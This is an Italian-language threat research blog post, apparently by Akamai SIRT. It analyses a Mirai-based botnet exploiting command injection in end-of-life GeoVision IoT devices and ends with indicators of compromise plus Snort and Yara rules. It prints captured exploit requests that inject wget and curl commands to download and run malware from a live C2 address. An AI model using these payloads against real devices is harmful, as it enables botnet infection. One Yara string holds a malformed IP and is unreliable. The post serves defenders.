Ecco Mirai: dispositivi IoT, benvenuti nello sfruttamento attivo
Analisi riassuntiva
Il SIRT (Security Intelligence and Response Team) di Akamai ha identificato uno sfruttamento attivo delle vulnerabilità CMDi (Command injection) CVE-2024-6047 e CVE-2024-11120.sui dispositivi IoT (Internet of Things) di GeoVision.
Il SIRT ha identificato questa attività nei nostri honeypot per la prima volta ad aprile 2025. Si tratta del primo episodio di sfruttamento attivo di queste vulnerabilità che è stato segnalato dalla loro divulgazione iniziale, rispettivamente, a giugno 2024 e a novembre 2024.
La botnet che sta sfruttando queste vulnerabilità ha anche sfruttato altre vulnerabilità note, tra cui la vulnerabilità di DigiEver che abbiamo segnalato in precedenza.
In questo blog, abbiamo incluso un elenco di indicatori di compromissione (IoC) per aiutarvi a difendervi da questa minaccia.
Introduzione
Gli endpoint si sono forzatamente arresi a Mirai dal 2016 e alcuni dispositivi GeoVision ritirati dal commercio sono tra le ultime "vittime". Agli inizi di aprile 2025, il SIRT di Akamai ha rilevato un'attività che ha preso di mira l'URI /DateSetting.cgi presente nella nostra rete globale di honeypot.
Dopo ulteriori indagini, siamo riusciti ad attribuire questa attività alle vulnerabilità CMDi CVE-2024-6047 e CVE-2024-11120, che erano state precedentemente scoperte nei dispositivi di GeoVision.
Anche se queste vulnerabilità erano "note", si sapeva molto poco su di esse, almeno pubblicamente, se non i codici CVE assegnati. L'attribuzione, insieme all'ambito della minacce, che è limitata ai dispositivi di GeoVision IoT ritirati dal commercio, è stata, infine, confermata direttamente dal produttore.
La vulnerabilità
Lo sfruttamento prende di mira l'endpoint /DateSetting.cgi presente nei dispositivi IoT di GeoVision e inietta comandi nel parametro szSrvIpAddr. Alcuni dispositivi di GeoVision ritirati dal commercio non riescono a filtrare correttamente l'input degli utenti per questo parametro, il che consente a criminali remoti non autenticati di iniettare ed eseguire comandi arbitrari sul sistema preso di mira.
Questa vulnerabilità CMDi viene monitorata tramite le vulnerabilità CVE-2024-6047 e CVE-2024-11120, che sono state segnalate per la prima volta, rispettivamente, a giugno 2024 e a novembre 2024, tuttavia, i dettagli tecnici non erano stati divulgati, le informazioni erano incomplete e non erano stati pubblicati dati sullo sfruttamento attivo.
Sfruttamento attivo
Il primo tentativo di sfruttamento che ha preso di mira questo URI è stato osservato dal SIRT di Akamai agli inizi di aprile 2025.
Una volta decodificato il payload, abbiamo scoperto che la botnet inietta comandi nell'opzione szSrvIpAddr per scaricare ed eseguire un file del malware Mirai basato su ARM e denominato "boatnet", che è una nomenclatura Mirai usata comunemente (Figura 1).
/DateSetting.cgi dwTimeZone=2&dwGainType=0&szSrvIpAddr=time.windows.com;$(cd /tmp;wget http://176.65.144[.]253/hiddenbin/boatnet.arm7;chmod 777 boatnet.arm7;./boatnet.arm7 geovision;)&NTP_Update_time_hh=5&NTP_Update_time_mm=10&szDateM=2024/08/07&szTimeM=14:25:16&bDateFomat=0&bDateFormatMisc=0&dwIsDelay=1&Montype=0&submit=Apply
Figura 1. I comandi necessari per scaricare ed eseguire un file del malware Mirai basato su ARM e denominato "boatnet"
Questo tipo di exploit scarica ed esegue una variante del malware basata su Mirai e denominata LZRD. Per identificare questa variante, più comunemente viene utilizzata la stringa univoca che stampa sulla console del sistema preso di mira al momento dell'esecuzione del malware (Figura 2).
Questo processo è stato ulteriormente supportato da altre funzioni di attacco osservate, che sono state coerenti con le altre varianti Mirai (Figura 3).
sym.attack_udp_plain
sym.attack_get_opt_ip
sym.attack_tcp_ack
sym.attack_method_nfo
sym.attack_method_raw
sym.attack_method_hexflood
sym.attack_method_tcp
sym.attack_method_udphex
sym.attack_method_udphex
sym.attack_udp_custom
sym.attack_tcp_stomp
sym.attack_method_tcpxmas
sym.attack_tcp_syn
sym.attack_get_opt_int
sym.attack_method_std
sym.attack_method_ovhdrop
sym.attack_get_opt_str
sym.attack_method_ovh
sym.attack_method_nudp
sym.attack_tcp_bypass
sym.attack_method_stdhex
Figura 3. Funzioni di attacco provenienti dal malware LZRD basato su Mirai
E non finisce qui: tramite questa analisi, abbiamo anche scoperto un indirizzo IP C2 (Command and Control) integrato nel codice sorgente all'interno della funzione sym.resolve_cnc_addr() (Figura 4).
Durante la nostra indagine condotta sull'infrastruttura C2 della botnet, abbiamo notato un messaggio visualizzato su alcune porte del server C2, probabilmente associate ad una parte della comunicazione C2 della botnet. Siamo stati in grado di tracciare un'altra infrastruttura della botnet tramite una query Censys derivata da questo messaggio: services.banner="*[?1049h*0;Please enter your credentials*".
Il messaggio riportato nella Figura 5 è simile a quello di InfectedSlurs che abbiamo segnalato nel 2023 (Infected Slurs/TBOTNET). Fox_threatintel, un ricercatore che si occupa di sicurezza, ha messo in relazione questo banner con una botnet precedentemente osservata a gennaio 2024, le cui conseguenze sembra ancora molto evidenti. Anche se le query fornite dal ricercatore non producono più alcun risultato, le stringhe del banner sono piuttosto simili, il che avvalora la tesi dell'associazione con la botnet.
Altre vulnerabilità sfruttate
Abbiamo osservato questa botnet nel tentativo di sfruttare varie vulnerabilità presenti nei nostri honeypot, tra cui una vulnerabilità Hadoop YARN, l'exploit del router ZTE ZXV10 H108L, la CVE-2018-10561 e la vulnerabilità di DigiEver che abbiamo segnalato in precedenza (Figura 6).
/cgi-bin/cgi_main.cgi
cgiName=time_tzsetup.cgi&page=/cfg_system_time.htm&id=69&ntp=`curl --output wget.sh http://176.65.144[.]253/digi.sh; chmod 777 *; ./wget.sh`&ntp1=time.stdtime.gov.tw&ntp2=`curl --output wget.sh http://176.65.144[.]253/digi.sh; chmod 777 *; ./wget.sh`&isEnabled=0&timeDiff=+9&ntpAutoSync=1&ntpSyncMode=1&day=0&hour=0&min=0&syncDiff=30
Figura 6. La vulnerabilità di DigiEver sfruttata
Conclusione
Le botnet basate su Mirai continuano a dividere molte organizzazioni e la prevalenza di dispositivi IoT obsoleti contribuisce a propagare questa minaccia. Analogamente ai ricercatori che si occupano di sicurezza, alcuni criminali si tengono aggiornati sulle ultime vulnerabilità divulgate che sono rilevanti per le loro attività illecite. L'esecuzione di nuovo codice remoto o le vulnerabilità CMDi che influiscono sui dispositivi IoT sono uno dei principali bersagli da cercare e sfruttare per questi criminali.
Uno dei modi più semplici per i criminali informatici per iniziare ad utilizzare una botnet è prendere di mira i firmware obsoleti e scarsamente protetti sui dispositivi meno recenti. Molti produttori di hardware non rendono disponibili le patch per i dispositivi ritirati dal commercio (in alcuni casi, è lo stesso produttore che potrebbe non essere più disponibile). Siamo stati informati che i modelli di GeoVision interessati sono stati ritirati dal commercio e non verranno aggiornati.
Nei casi in cui le patch di sicurezza non fossero disponibili al momento né, probabilmente, lo saranno in futuro, si consiglia di dismettere i dispositivi vulnerabili e aggiornarli ad un modello più recente.
Tenetevi aggiornati con noi
L'Akamai SIRT continuerà a monitorare e a segnalare minacce come queste per i clienti dell'azienda e per la più vasta comunità della sicurezza. Per tenervi aggiornati sulle ultime novità del SIRT e su altre pubblicazioni dell'Akamai Security Intelligence Group, potete consultare la nostra pagina relativa ai lavori di ricerca e seguirci sui social media.
IOC
Abbiamo incluso un elenco di indicatori di compromissione (IoC), nonché di regole Snort e Yara, per aiutare i team addetti alla sicurezza.
Regole Snort per gli IoC di rete
Regole Snort per gli IP C2
alert ip any any -> [209.141.44.28, 51.38.137.114, 176.65.144.253, 176.65.144.232, 198.23.212.246] any (
msg:"Possible Botnet C2 Infrastructure Activity - Suspicious IP";
sid:2000001;
rev:1;
threshold:type limit, track by_src, count 1, seconds 600;
classtype:trojan-activity;
metadata:service http, malware;
)
Regole Snort per il rilevamento della risoluzione dei domini C2 (botnet n. 2)
alert http any any -> any any (
msg:"Possible Botnet C2 or Malware Distribution - connect.antiwifi.dev";
content:"connect.antiwifi.dev"; http_host; nocase;
sid:2000002; rev:1;
classtype:trojan-activity;
metadata:service http, malware;
)
Regole Yara per i campioni di malware
rule Botnet_Indicators
{
meta:
description = "Detects botnet malware samples and network-based indicators"
date = "2025-04-22"
severity = "high"
strings:
// Network Indicators (IP & Domain)
$ip1 = "209.141.44.28"
$ip2 = "51.38.137.114"
$ip3 = "176.65.144.2534"
$ip4 = "176.65.144.232"
$ip5 = "198.23.212.246"
$domain1 = "connect.antiwifi.dev"
condition:
any of (
// SHA256 Hash Matches
hash.sha256(0, filesize) == "f05247a2322e212513ee08b2e8513f4c764bde7b30831736dfc927097baf6714",
hash.sha256(0, filesize) == "11c0447f524d0fcb3be2cd0fbd23eb2cc2045f374b70c9c029708a9f2f4a4114",
hash.sha256(0, filesize) == "8df660bd1722a09c45fb213e591d1dab73f24d240c456865fe0e2dc85573d85e",
hash.sha256(0, filesize) == "ecc794a86dcc51b1f74d8b1eb9e7e0158381faadaf4cb4ee8febd4ba17fd2516",
hash.sha256(0, filesize) == "03b1506c474a6f62f2e2b73ba4995b14da70b27e6d0aaea92638197e94d937c3",
hash.sha256(0, filesize) == "0333c6ac43c6e977e9a1c5071194d3cf8aa01222194c6e7f2fd13e631d03522d",
hash.sha256(0, filesize) == "7a8a46ace3b9261c2c7a399dcae037ce4f185f52f94b893d5bc00cd1228fb13a",
hash.sha256(0, filesize) == "50c5b6c971c503240b91787d31f9314ded38d4f2700ff90deb032478b30aa0c5",
hash.sha256(0, filesize) == "bb2ab0879282c5c7f92a51e6482d3eb60a84ab184eca258ea550d9ed04bc5eda",
hash.sha256(0, filesize) == "074a261bf281da36cc91cd13f86c7a8f75fdf96807d525c24b22c48fe01584a3",
hash.sha256(0, filesize) == "5e721c013a6e8b2246aae86974f2163d3b57a7e6608a318ab84c44b1650e650a",
hash.sha256(0, filesize) == "de3c9ecb51564e4298ce7e4ff749be0a42d37824d2fd3d5b7fbab86a04105b88",
hash.sha256(0, filesize) == "aaba1ce1f182122a7ea05683623ab2d9bd05a3507e0dfc95e8e4165f629f80a8",
hash.sha256(0, filesize) == "3f465182b5c594784e406a6a5de2f398bcc2e2ffc92d049a7990f37c267550a6",
hash.sha256(0, filesize) == "3d6a544b1f03df23e734a65b9f1e808ff513ad881f09745a3959d696075c057e",
hash.sha256(0, filesize) == "5180e3050a4a5cff52dcd8e8bb39fb6cf59a264a8fb6ddcc239615b340f1b99a",
hash.sha256(0, filesize) == "2cc4d952856a8f2e1dd73b175d730d9cc7a04c73cf6452c8d0411eedf3aed5d5",
hash.sha256(0, filesize) == "dc21419b73566651b4c1e85879c0c98a4dcff8f7d206d9a97882200503658e9c",
hash.sha256(0, filesize) == "866b2dbbd1978be007460835e8f3d2e02c1b321f856a18ba3e53030d4effe69a",
hash.sha256(0, filesize) == "64ca8dd1a2702e0463bab19a0b826f79c55cfd46e4e1b41c6c33d7e7aa2c7530",
hash.sha256(0, filesize) == "9f05425478d03e4a2fd5b990fe5625d93c468b80a3880bb52475aa7561548582",
hash.sha256(0, filesize) == "bf6984ccc9fb21beba3f492420901be0b0bace8d4530e6d2850f039622f1b96f",
hash.sha256(0, filesize) == "58f7d61e3e474d5f5eccbba79556070220f52fa011b7cd24bdd96c23c338cd4b",
// Network-based Indicator Matches
any of ($ip1, $domain1)
)
}
Indirizzi IPv4
209.141.44.28
51.38.137.114
176.65.144.253
176.65.144.232
198.23.212.246
Domini per C2
connect.antiwifi.dev
Hash SHA256
f05247a2322e212513ee08b2e8513f4c764bde7b30831736dfc927097baf6714
11c0447f524d0fcb3be2cd0fbd23eb2cc2045f374b70c9c029708a9f2f4a4114
8df660bd1722a09c45fb213e591d1dab73f24d240c456865fe0e2dc85573d85e
ecc794a86dcc51b1f74d8b1eb9e7e0158381faadaf4cb4ee8febd4ba17fd2516
03b1506c474a6f62f2e2b73ba4995b14da70b27e6d0aaea92638197e94d937c3
0333c6ac43c6e977e9a1c5071194d3cf8aa01222194c6e7f2fd13e631d03522d
7a8a46ace3b9261c2c7a399dcae037ce4f185f52f94b893d5bc00cd1228fb13a
50c5b6c971c503240b91787d31f9314ded38d4f2700ff90deb032478b30aa0c5
bb2ab0879282c5c7f92a51e6482d3eb60a84ab184eca258ea550d9ed04bc5eda
074a261bf281da36cc91cd13f86c7a8f75fdf96807d525c24b22c48fe01584a3
5e721c013a6e8b2246aae86974f2163d3b57a7e6608a318ab84c44b1650e650a
de3c9ecb51564e4298ce7e4ff749be0a42d37824d2fd3d5b7fbab86a04105b88
aaba1ce1f182122a7ea05683623ab2d9bd05a3507e0dfc95e8e4165f629f80a8
3f465182b5c594784e406a6a5de2f398bcc2e2ffc92d049a7990f37c267550a6
3d6a544b1f03df23e734a65b9f1e808ff513ad881f09745a3959d696075c057e
5180e3050a4a5cff52dcd8e8bb39fb6cf59a264a8fb6ddcc239615b340f1b99a
2cc4d952856a8f2e1dd73b175d730d9cc7a04c73cf6452c8d0411eedf3aed5d5
dc21419b73566651b4c1e85879c0c98a4dcff8f7d206d9a97882200503658e9c
866b2dbbd1978be007460835e8f3d2e02c1b321f856a18ba3e53030d4effe69a
64ca8dd1a2702e0463bab19a0b826f79c55cfd46e4e1b41c6c33d7e7aa2c7530
9f05425478d03e4a2fd5b990fe5625d93c468b80a3880bb52475aa7561548582
bf6984ccc9fb21beba3f492420901be0b0bace8d4530e6d2850f039622f1b96f
58f7d61e3e474d5f5eccbba79556070220f52fa011b7cd24bdd96c23c338cd4b